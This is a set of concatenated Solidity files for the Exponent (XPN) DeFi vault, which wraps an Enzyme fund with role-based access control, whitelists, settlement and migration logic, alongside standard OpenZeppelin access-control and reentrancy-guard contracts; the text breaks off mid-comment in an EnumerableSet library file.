contract XPNMain is XPNCore, AccessControlEnumerable, ReentrancyGuard {
// @notice default admin role is part of AccessControlEnumerable library
// bytes32 public constant DEFAULT_ADMIN_ROLE = keccak256("DEFAULT_ADMIN_ROLE");
bytes32 public constant SETTLER_ROLE = keccak256("SETTLER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant VENUE_WHITELIST_ROLE =
keccak256("VENUE_WHITELIST_ROLE");
bytes32 public constant ASSET_WHITELIST_ROLE =
keccak256("ASSET_WHITELIST_ROLE");
constructor(
State memory _constructorConfig,
string memory _tokenName,
string memory _symbol
) XPNCore(_constructorConfig, _tokenName, _symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _constructorConfig.defaultAdmin);
_setupRole(SETTLER_ROLE, _constructorConfig.defaultSettler);
}
/////////////////////////
// configuration functions
/////////////////////////
// @notice swap signal address and signal name
// @param _signalPoolAddress address of the signal contract
// @param _signalName name identifier of the signal
// @dev only callable by admin role
function swapSignal(address _signalPoolAddress, string memory _signalName)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
_swapSignal(_signalPoolAddress, _signalName);
}
// @notice set the contract on restricted mode, under restricted mode- only whitelist contract can make deposit
// @param boolean to set the restricted mode on/off
// @dev only callable by manager role
function setRestricted(bool _toggle) external onlyRole(MANAGER_ROLE) {
_setRestricted(_toggle);
}
// @notice whitelist wallet by address
// @param address of the wallet to whitelist
// @dev only callable by the manager role
function whitelistWallet(address _wallet) external onlyRole(MANAGER_ROLE) {
_whitelistWallet(_wallet);
}
// @notice un-whitelist wallet by address
// @param address of the wallet to un-whitelist
// @dev only callable by the manager role
function deWhitelistWallet(address _wallet)
external
onlyRole(MANAGER_ROLE)
{
_deWhitelistWallet(_wallet);
}
// @notice whitelist venue by address
// @param address of the venue to whitelist
// @dev only callable by the venue whitelist role
function whitelistVenue(address _venue)
external
onlyRole(VENUE_WHITELIST_ROLE)
{
_whitelistVenue(_venue);
}
// @notice un-whitelist venue by address
// @param address of the venue to un-whitelist
// @dev only callable by the venue whitelist role
function deWhitelistVenue(address _venue)
external
onlyRole(VENUE_WHITELIST_ROLE)
{
_deWhitelistVenue(_venue);
}
// @notice whitelist asset by address
// @param address of the asset to whitelist
// @dev only callable by the asset whitelist role
function whitelistAsset(address _asset)
external
onlyRole(ASSET_WHITELIST_ROLE)
{
_whitelistAsset(_asset);
}
// @notice un-whitelist asset by address
// @param address of the asset to un-whitelist
// @dev only callable by the asset whitelist role
function deWhitelistAsset(address _asset)
external
onlyRole(ASSET_WHITELIST_ROLE)
{
_deWhitelistAsset(_asset);
}
// @notice configure and resolve asset name to address and price feed
// @param _symbol asset name
// @param _token asset address,
// @param _feed destination of the price feed
// @dev only callable by asset whitelist role
function addAssetFeedConfig(
string memory _symbol,
address _token,
address _feed
) external onlyRole(ASSET_WHITELIST_ROLE) {
_addAssetConfig(_symbol, _token, _feed);
}
// @notice add tracked asset by address
// @param address of the asset to track
// @dev enzyme-specific functionality to track zero balance asset
function addTrackedAsset(address _asset)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
_addTrackedAsset(_asset);
}
// @notice remove tracked asset by address
// @param address of the asset to track
// @dev enzyme-specific functionality to un-track zero balance asset
function removeTrackedAsset(address _asset)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
_removeTrackedAsset(_asset);
}
/////////////////////////
// vault migration functions
/////////////////////////
// @notice create the migration
// @param _newState the new global state of the contract to migrate to
// @dev deploys a new enzyme comptroller proxy
// @dev only callable by admin role
function createMigration(State memory _newState)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
_createMigration(_newState);
}
// @notice signal migration
// @dev start the time lock for enzyme vault migration, users can withdraw but no longer allowed to deposit
// @dev only callable by admin role
function signalMigration() external onlyRole(DEFAULT_ADMIN_ROLE) {
_signalMigration();
}
// @notice execute the migration
// @dev requires the current time > enzyme dispatcher's timelock
// @dev change the global state of the contract, users are allowed to deposit again
// @dev only callable by admin role
function executeMigration() external onlyRole(DEFAULT_ADMIN_ROLE) {
_executeMigration();
}
/////////////////////////
// vault functions
/////////////////////////
// @dev index zero admin is used as the recipient for fee collection
// @dev we assume there will be only a single admin address
// override to always ensure we get only the first admin
// external contract should not rely on this as the only source of truth
function _getAdminAddress() internal view override returns (address) {
return getRoleMember(DEFAULT_ADMIN_ROLE, 0);
}
// @notice deposit denominated asset into the contract
// @param amount of the denominated asset to deposit
// @dev requires the restricted mode off
function deposit(uint256 _amount) external nonReentrant returns (uint256) {
if (restricted) {
require(walletWhitelist[msg.sender], "Wallet is not whitelisted");
return _deposit(_amount);
} else {
return _deposit(_amount);
}
}
// @notice withdraw a basket of assets from the contract based on lp tokens held
// @return payoutAssets array of addresses of the assets in the basket
// @return payoutAmounts array of amounts of the assets in the basket
function withdraw(uint256 _amount)
external
nonReentrant
returns (address[] memory payoutAssets, uint256[] memory payoutAmounts)
{
return _withdraw(_amount);
}
// @notice redeem fees accrued
// @param _feeManager addresses of the feeManager contract
// @param _fees addresses of fee contracts ie. management and performance fees
function redeemFees(address _feeManager, address[] calldata _fees)
external
nonReentrant
onlyRole(DEFAULT_ADMIN_ROLE)
returns (address[] memory payoutAssets, uint256[] memory payoutAmounts)
{
return _redeemFees(_feeManager, _fees);
}
/////////////////////////
// portfolio functions
/////////////////////////
// @notice calculate different between current portfolio position and target from signal
// in balance of coresponding erc20
// @dev 100% = 1e18.
// @return int256 array balance different from target for each asset (directional)
function signalPortfolioDiffToken()
external
view
returns (int256[] memory)
{
return _signalPortfolioDiffToken();
}
// @notice set expected trade efficiency
// @dev note 1e18 = 100% default is 98e16 (98%)
// @dev only callable by admin role
function setExpectedEfficiency(int256 _expectedEfficiency)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
_setExpectedEfficiency(_expectedEfficiency);
}
/////////////////////////
// settlement functions
/////////////////////////
// @notice submit trusted trade orders
// @params _trades array of abi encoded order data
// @params _venues array of venue address
// @dev only callable by settler role
function submitTrustedTradeOrders(
bytes[] calldata _trades,
address[] memory _venues
) external onlyRole(SETTLER_ROLE) returns (bool) {
return _settleTrade(_trades, _venues);
}
// @notice submit trusted lending pool orders
// @params _orders array of abi encoded order data
// @params _venues array of venue address
// @dev only callable by settler role
function submitTrustedPoolOrders(
bytes[] calldata _orders,
XPNSettlement.Pool[] calldata _txTypes,
address[] memory _venues
) external onlyRole(SETTLER_ROLE) returns (bool) {
return _settlePool(_orders, _txTypes, _venues);
}
// @notice submit trade orders
// @params _trades array of abi encoded order data
// @params _venues array of venue address
// @dev ensure that trade executes with result as expected by the signal contract
function submitTradeOrders(
bytes[] calldata _trades,
address[] memory _venues
) external ensureTrade returns (bool) {
return _settleTrade(_trades, _venues);
}
// @notice submit lending pool orders
// @params _trades array of abi encoded order data
// @params _venues array of venue address
// @dev ensure that trade executes with result as expected by the signal contract
function submitPoolOrders(
bytes[] calldata _orders,
XPNSettlement.Pool[] calldata _txTypes,
address[] memory _venues
) external ensureTrade returns (bool) {
return _settlePool(_orders, _txTypes, _venues);
}
/////////////////////////
// state getter functions
/////////////////////////
function getExponentConfig()
external
view
returns (
address,
address,
address,
string memory,
address
)
{
return (
globalState.denomAssetAddress,
address(lptoken),
globalState.signal,
globalState.signalName,
_getAdminAddress()
);
}
function getEnzymeConfig()
external
view
returns (
address,
address,
address,
address,
address,
address,
address
)
{
return (
globalState.EZshares,
globalState.EZcomptroller,
globalState.EZwhitelistPolicy,
globalState.EZpolicy,
globalState.EZtrackedAssetAdapter,
globalState.EZintegrationManager,
globalState.EZdeployer
);
}
function isVenueWhitelisted(address _venue) external view returns (bool) {
return venueWhitelist[_venue];
}
function isAssetWhitelisted(address _asset) external view returns (bool) {
return assetWhitelist[_asset];
}
function isWalletWhitelisted(address wallet) external view returns (bool) {
return walletWhitelist[wallet];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// Copyright (C) 2021 Exponent
// This file is part of Exponent.
// Exponent is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// Exponent is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Exponent. If not, see <http://www.gnu.org/licenses/>.
pragma solidity 0.8.0;
pragma experimental ABIEncoderV2;
import "./XPNSettlement.sol";
import "./XPNUtils.sol";
import "./XPNVault.sol";
import "./XPNPortfolio.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interface/enzyme/IFundDeployer.sol";
import "./interface/enzyme/IComptroller.sol";
import "./interface/enzyme/IIntegrationManager.sol";
import "./interface/enzyme/IPolicyManager.sol";
// @title core contract for XPN
// @notice responsible for the global state of the entire contract and external interactions
// @dev overrides all functional _hooks and lazy-hydrate state to downstream functional contracts,
contract XPNCore is Pausable, XPNVault, XPNSettlement, XPNPortfolio {
using SafeERC20 for IERC20;
int256 constant chainlinkONE = 1e8;
struct State {
address defaultAdmin; // xpn admin account, only used on deployment
address defaultSettler; // EOA responsible for calling settlement, only used on deployment
address signal; // contract address for signal to pull from
string signalName; // signal name
address denomAssetAddress; // address of the denominated asset
string denomAssetSymbol; // symbol of the denominated asset
address EZdeployer; // Enzyme FundDeployer contract
address EZintegrationManager; // Enzyme IntegrationManager contract
address EZtrackedAssetAdapter; // Enzyme TrackedAssetAdapter contract
address EZpolicy; // Enzyme PolicyManager contract
address EZwhitelistPolicy; // Enzyme InvestorWhitelist contract
address EZcomptroller; // Enzyme Vault's ComptrollerProxy contract
address EZshares; // Enzyme Vault's shares
bytes EZfeeConfig; // configuration for fees
string name; // name of the fund on Enzyme Vault
}
// @notice application state
// @notice the target portfolio value to maintain after
// the rebalance, default to 98%
State internal globalState;
int256 expectedEfficiency;
// @notice the contract state after successful migration
State private postMigrationState;
// @notice a hardcoded selector for all Enzyme DEX trades
bytes4 constant TAKE_ORDER_SELECTOR =
bytes4(keccak256("takeOrder(address,bytes,bytes)"));
// @notice a hardcoded selector for all Enzyme lending
bytes4 constant LEND_ORDER_SELECTOR =
bytes4(keccak256("lend(address,bytes,bytes)"));
// @notice a hardcoded selector for all Enzyme redemption
bytes4 constant REDEEM_ORDER_SELECTOR =
bytes4(keccak256("redeem(address,bytes,bytes)"));
// @notice minimum seconds between 2 enzyme shares action
// zero to allow for multiple redemptions in one block
uint256 constant SHARES_TIMELOCK = 0;
// @notice enzyme integration manager ID for integration
uint256 constant DEFI_INTEGRATION = 0;
bool public restricted;
mapping(address => bool) internal walletWhitelist;
mapping(address => bool) internal venueWhitelist;
mapping(address => bool) internal assetWhitelist;
mapping(string => address) public symbolToAsset;
mapping(address => address) public assetToPriceFeed;
event SetRestricted(bool toggle);
event WalletWhitelisted(address wallet);
event WalletDeWhitelisted(address wallet);
event VenueWhitelisted(address venue);
event VenueDeWhitelisted(address venue);
event AssetWhitelisted(address asset);
event AssetDeWhitelisted(address asset);
event AssetConfigAdded(string symbol, address asset, address feed);
event AssetConfigRemoved(string symbol);
event NewSignal(address signal);
event MigrationCreated(State postMigrationState);
event MigrationSignaled();
event MigrationExecuted();
// @dev we don't do further validation of the constructor arguments on deployment
// assume all the inputs are valid
constructor(
State memory _constructorConfig,
string memory _tokenName,
string memory _symbol
) XPNPortfolio() XPNVault(_tokenName, _symbol) XPNSettlement() {
globalState = _constructorConfig;
_whitelistAsset(globalState.denomAssetAddress); //denominated asset is automatically whitelisted
(globalState.EZcomptroller, globalState.EZshares) = IFundDeployer(
globalState.EZdeployer
).createNewFund(
address(this), // fund deployer
globalState.name, // fund name
address(globalState.denomAssetAddress), // denomination asset
SHARES_TIMELOCK, // timelock for share actions
globalState.EZfeeConfig, // fees configuration
"" // no policy manager data
);
XPNUtils.enforceSoleEnzymeDepositor(
globalState.EZcomptroller,
globalState.EZpolicy,
globalState.EZwhitelistPolicy
);
expectedEfficiency = 98e16;
}
/////////////////////////
// configuration functions
/////////////////////////
// @notice sets the contract on restricted mode
function _setRestricted(bool _toggle) internal {
restricted = _toggle;
emit SetRestricted(_toggle);
}
// @notice configure token symbol => token address and token address => price feed
// @dev used in Portfolio's ensureTrade modifier, must ensure that the feed is correct
function _addAssetConfig(
string memory _symbol,
address _token,
address _feed
) internal {
symbolToAsset[_symbol] = _token;
assetToPriceFeed[_token] = _feed;
emit AssetConfigAdded(_symbol, _token, _feed);
}
// @notice remove the mapping of token symbol => token address => price feed
function _removeAssetConfig(string memory _symbol) internal {
address prevAddress = symbolToAsset[_symbol];
symbolToAsset[_symbol] = address(0);
assetToPriceFeed[prevAddress] = address(0);
emit AssetConfigRemoved(_symbol);
}
// @notice switch to a different signal contract and name
// @dev will ensure that the signal supports the correct asset symbols, assume signal provider is trusted
function _swapSignal(address _signal, string memory _name) internal {
_verifySignal(_signal, _name);
globalState.signal = _signal;
_setSignal(_signal, _name);
emit NewSignal(_signal);
}
/////////////////////////
// whitelist functions
/////////////////////////
function _whitelistWallet(address _wallet) internal {
walletWhitelist[_wallet] = true;
emit WalletWhitelisted(_wallet);
}
function _deWhitelistWallet(address _wallet) internal {
walletWhitelist[_wallet] = false;
emit WalletDeWhitelisted(_wallet);
}
function _whitelistVenue(address _venue) internal {
venueWhitelist[_venue] = true;
emit VenueWhitelisted(_venue);
}
function _deWhitelistVenue(address _venue) internal {
venueWhitelist[_venue] = false;
emit VenueDeWhitelisted(_venue);
}
function _whitelistAsset(address _asset) internal {
assetWhitelist[_asset] = true;
emit AssetWhitelisted(_asset);
}
function _deWhitelistAsset(address _asset) internal {
assetWhitelist[_asset] = false;
emit AssetDeWhitelisted(_asset);
}
/////////////////////////
// settlement functions
/////////////////////////
// @notice settle trade transactions on trading venues
function _settleTrade(bytes[] calldata _trades, address[] memory _venues)
internal
returns (bool)
{
return _submitTradeOrders(_trades, _venues);
}
// @notice settle lending/ redemption transctions on trading venues
function _settlePool(
bytes[] calldata _orders,
Pool[] calldata _txTypes,
address[] memory _venues
) internal returns (bool) {
return _submitPoolOrders(_orders, _txTypes, _venues);
}
// @notice verify that the assets in the provided signal contract is supported
// @dev supported signal should have correct asset symbols and signal name
function _verifySignal(address _signal, string memory _signalName)
internal
view
{
string[] memory symbols = ISignal(_signal).getSignalSymbols(
_signalName
);
for (uint256 i; i < symbols.length; i++) {
string memory symbol = symbols[i];
if (XPNUtils.compareStrings(symbol, _getDenomAssetSymbol())) {
continue;
}
require(
symbolToAsset[symbol] != address(0),
"XPNCore: token symbol is not registered"
);
require(
assetWhitelist[symbolToAsset[symbol]],
"XPNCore: token is not whitelisted"
);
}
}
// @dev enzyme-specific functionality to track zero balance asset
function _addTrackedAsset(address _asset) internal {
XPNUtils.addEnzymeTrackedAsset(
globalState.EZcomptroller,
globalState.EZintegrationManager,
_asset
);
}
// @dev enzyme-specific functionality to remove tracked asset
function _removeTrackedAsset(address _asset) internal {
XPNUtils.removeEnzymeTrackedAsset(
globalState.EZcomptroller,
globalState.EZintegrationManager,
_asset
);
}
/////////////////////////
// overidden hook functions
/////////////////////////
// @notice hooks are implemented in this contract to pass state
// or override interaction with third party contracts
// @notice fetch token price for an asset
// @dev we utilize Chainlink price feed interface to get current price data,
// in the case that the asset is not supported on Chainlink,
// we need to ensure that we interact with a custom adapter
function _getTokenPrice(address _asset)
internal
view
override
returns (int256)
{
return XPNUtils.parseChainlinkPrice(assetToPriceFeed[_asset]);
}
function _getVaultAddress() internal view override returns (address) {
return globalState.EZshares;
}
function _getSymbolToToken(string memory _symbol)
internal
view
override
returns (address)
{
return symbolToAsset[_symbol];
}
function _getDenomAssetAddress() internal view override returns (address) {
return globalState.denomAssetAddress;
}
function _getDenomAssetSymbol()
internal
view
override
returns (string memory)
{
return globalState.denomAssetSymbol;
}
// @dev implements actual enzyme share purchase on the comptroller
function _depositHook(uint256 _amount)
internal
override
whenNotPaused
returns (uint256)
{
IERC20(globalState.denomAssetAddress).safeApprove(
address(globalState.EZcomptroller),
_amount
);
return XPNUtils.buyEnzymeShares(globalState.EZcomptroller, _amount);
}
// @dev implements actual enzyme share redemption on the comptroller
function _withdrawHook(uint256 _amount)
internal
override
returns (address[] memory, uint256[] memory)
{
return XPNUtils.redeemEnzymeShares(globalState.EZcomptroller, _amount);
}
function _venueIsWhitelisted(address _venue)
internal
view
override
returns (bool)
{
return venueWhitelist[_venue];
}
// @dev implements the actual trade order on Enzyme comptroller
function _submitTrade(bytes calldata _trade, address _venue)
internal
override
returns (bool successfulTrade)
{
bytes memory callargs = abi.encode(_venue, TAKE_ORDER_SELECTOR, _trade);
IComptroller(globalState.EZcomptroller).callOnExtension(
globalState.EZintegrationManager,
DEFI_INTEGRATION, // action id = 0
callargs
);
return true;
}
// @dev implements the actual lending order on Enzyme comptroller
function _submitLending(bytes calldata _lending, address _venue)
internal
override
returns (bool)
{
bytes memory callargs = abi.encode(
_venue,
LEND_ORDER_SELECTOR,
_lending
);
IComptroller(globalState.EZcomptroller).callOnExtension(
globalState.EZintegrationManager,
DEFI_INTEGRATION, // action id = 0
callargs
);
return true;
}
// @dev implements the actual redemption order on Enzyme comptroller
function _submitRedemption(bytes calldata _redemption, address _venue)
internal
override
returns (bool)
{
bytes memory callargs = abi.encode(
_venue,
REDEEM_ORDER_SELECTOR,
_redemption
);
IComptroller(globalState.EZcomptroller).callOnExtension(
globalState.EZintegrationManager,
DEFI_INTEGRATION, // action id = 0
callargs
);
return true;
}
// @dev performs 2 actions: settle current fee on Enzyme vault and mint
// new shares to vault owner representing accrued fees
function _redeemFeesHook(address _feeManager, address[] memory _fees)
internal
override
{
XPNUtils.invokeAndPayoutEnzymeFees(
globalState.EZcomptroller,
_feeManager,
_fees
);
}
/////////////////////////
// vault migration functions
/////////////////////////
// @notice deploys new comptroller on enzyme fund deployer
function _createMigration(State memory _newState) internal {
postMigrationState = _newState;
address newComptrollerProxy = IFundDeployer(
postMigrationState.EZdeployer
).createMigratedFundConfig(
globalState.denomAssetAddress, // denominated asset
SHARES_TIMELOCK, // sets shares action timelock
_newState.EZfeeConfig, // utilize new fee config
""
);
(postMigrationState.EZcomptroller, postMigrationState.EZshares) = (
newComptrollerProxy,
globalState.EZshares
);
emit MigrationCreated(_newState);
}
// @notice initiate the migration process, will start the timelock
function _signalMigration() internal {
_pause();
IFundDeployer(postMigrationState.EZdeployer).signalMigration(
globalState.EZshares,
postMigrationState.EZcomptroller
);
emit MigrationSignaled();
}
// @notice execute the migration process, migrate global state to new state
function _executeMigration() internal {
IFundDeployer(postMigrationState.EZdeployer).executeMigration(
globalState.EZshares
);
globalState = postMigrationState;
XPNUtils.enforceSoleEnzymeDepositor(
postMigrationState.EZcomptroller,
postMigrationState.EZpolicy,
postMigrationState.EZwhitelistPolicy
);
_unpause();
emit MigrationExecuted();
}
/////////////////////////
// state getter functions
/////////////////////////
function _getSharesAddress() internal view override returns (address) {
return globalState.EZshares;
}
// @notice set target signal
// @param signalPoolAddress address of signal contract
// @param signalName name of the target signal in the signal contract
// @dev this function assume that caller already verify the compatability off chain.
function _setSignal(address _signalPoolAddress, string memory _signalName)
internal
{
(globalState.signal, globalState.signalName) = (
_signalPoolAddress,
_signalName
);
}
function _getSignal() internal view override returns (int256[] memory) {
return ISignal(globalState.signal).getSignal(globalState.signalName);
}
function _getSignalSymbols()
internal
view
override
returns (string[] memory)
{
return
ISignal(globalState.signal).getSignalSymbols(
globalState.signalName
);
}
function _getExpectedEfficiency() internal view override returns (int256) {
return expectedEfficiency;
}
// @notice set expected trade efficiency
// @dev note 1e18 = 100% default is 98e16 (98%)
function _setExpectedEfficiency(int256 _expectedEfficiency) internal {
expectedEfficiency = _expectedEfficiency;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
